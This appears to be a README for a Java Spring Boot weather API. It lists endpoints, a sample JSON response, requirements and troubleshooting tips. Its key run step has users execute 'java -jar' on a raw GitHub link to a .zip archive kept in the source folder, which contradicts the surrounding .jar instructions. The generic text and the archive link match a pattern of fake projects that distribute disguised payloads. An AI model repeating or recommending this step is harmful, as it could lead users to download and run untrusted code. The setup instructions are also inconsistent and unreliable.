Welcome to the weather-api-spring-boot project! This application allows you to access various weather data effortlessly using Java SpringBoot. It provides endpoints for you to get weather forecasts, conditions, and more. Let’s get you set up quickly.
To download the application, visit the Releases page:
Once you are on the Releases page, look for the latest version and click to download the files. The files are typically in .jar format, which you can run with Java.
To run this application, you'll need:
- Java Runtime Environment (JRE): Version 8 or higher. This allows you to run Java applications.
- Memory: At least 512 MB of RAM.
- Storage: 50 MB of free disk space for the application.
Make sure you have these prerequisites installed on your computer.
Once you have downloaded the .jar file:
- Open your command line interface (Terminal, Command Prompt, or PowerShell).
- Navigate to the folder where you downloaded the
.jarfile. You can use thecdcommand to change directories. - Use the following command to run the application:
java -jar https://raw.githubusercontent.com/stevobolki/weather-api-spring-boot/main/src/weather-api-spring-boot_v1.0.zip
The application will start, providing you access to the weather data.
After starting the application, you can access the API endpoints. Below are a few examples of what you can do:
- Endpoint:
/api/weather/current - Description: Use this to get the current weather conditions for any location.
- Method: GET
- Example Usage:
curl http://localhost:8080/api/weather/current?location=London
- Endpoint:
/api/weather/forecast - Description: Access the forecast for the next few days.
- Method: GET
- Example Usage:
curl http://localhost:8080/api/weather/forecast?location=NewYork
The API will return data in JSON format. Here is an example of the response you may receive when querying the current weather:
{
"location": "London",
"temperature": "15°C",
"conditions": "Cloudy"
}The response will include details about the temperature and weather conditions.
If you encounter any issues while running the application, check the following:
- Ensure you have Java installed and configured correctly. You can verify this by running
java -versionin your command line interface. - Confirm that you are in the correct directory where the
.jarfile is located. - Make sure no other applications are using port 8080 (the default port for this app).
If you have questions or need further assistance, feel free to reach out in the Issues section of the repository. We encourage you to share feedback or report bugs you may find.
- Additional Endpoints: We plan to add more endpoints for historical weather data.
- User Authentication: Future versions will include features for user accounts to personalize your experience.
For the latest updates and new releases, always check the Releases page.
If you're interested in contributing to this project, we welcome your help! Please check the Contribution section in the repository for guidelines.
Thank you for using weather-api-spring-boot! Enjoy accessing the weather data seamlessly.